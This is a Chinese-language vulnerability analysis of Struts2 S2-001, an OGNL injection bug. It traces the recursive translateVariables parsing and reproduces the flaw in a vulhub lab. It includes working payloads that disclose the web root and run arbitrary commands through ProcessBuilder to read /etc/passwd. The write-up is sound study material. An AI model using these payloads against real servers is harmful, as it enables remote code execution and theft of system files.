1、漏洞描述
Struts2是一个基于MVC设计模式Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。
WebWork 2.1+ 和 Struts 2 的 'altSyntax' 特性允许将 OGNL 表达式插入文本字符串并进行递归处理,这允许恶意用户提交一个字符串。如果用户提交表单验证失败,且提交的参数中包含一个 OGNL 表达式,服务器将执行该表达式。
2、影响版本
WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8
3、漏洞简单分析
-  
问题主要是出在
translateVariables函数中,源码如下: 
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
        // deal with the "pure" expressions first!
        //expression = expression.trim();
        Object result = expression;
        while (true) {
            int start = expression.indexOf(open + "{");
            int length = expression.length();
            int x = start + 2;
            int end;
            char c;
            int count = 1;
            while (start != -1 && x < length && count != 0) {
                c = expression.charAt(x++);
                if (c == '{') {
                    count++;
                } else if (c == '}') {
                    count--;
                }
            }
            end = x - 1;
            if ((start != -1) && (end != -1) && (count == 0)) {
                String var = expression.substring(start + 2, end);
                Object o = stack.findValue(var, asType);
                if (evaluator != null) {
                    o = evaluator.evaluate(o);
                }
                String left = expression.substring(0, start);
                String right = expression.substring(end + 1);
                if (o != null) {
                    if (TextUtils.stringSet(left)) {
                        result = left + o;
                    } else {
                        result = o;
                    }
                    if (TextUtils.stringSet(right)) {
                        result = result + right;
                    }
                    expression = left + o + right;
                } else {
                    // the variable doesn't exist, so don't display anything
                    result = left + right;
                    expression = left + right;
                }
            } else {
                break;
            }
        }
        return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
    } 
-  
此时
expression为%{password}: 

-  
经过while循环,此时
var为password: 

-  
stack.findValue(var, asType);会返回password的值%{1+1},这个就是我们传入的payload: 

-  
此后
o为%{1+1},再对o进行了一番处理后,payload经过result变量,最终成为expression的值: 

-  
在完成后,进入下一个循环:
 

-  
并且在
Object o = stack.findValue(var, asType);中完成了对payload的执行: 

-  
总结:究其原因,在于在
translateVariables函数中,递归解析了表达式,在处理完%{password}后将password的值直接取出并继续在while循环中解析,若用户输入的password是恶意的OGNL表达式,比如%{1+1},则得以解析执行。 
4、漏洞复现
4.1 环境搭建
使用vulnhub进行搭建https://github.com/vulhub/vulhub
cd vulhub-master/struts2/s2-001
docker-compose build
docker-compose up -d

4.2 最简单POC语句尝试,输入%{1+1},语句成功执行

4.3 尝试获取Web路径
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

4.4 执行任意命令,只需修改命令加参数,例如new java.lang.String[]{"cat","/etc/passwd"}
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }

参考链接:
https://xz.aliyun.com/t/2044
https://xz.aliyun.com/t/2672#toc-2
https://www.freebuf.com/articles/web/280245.html
https://cwiki.apache.org/confluence/display/WW/S2-001










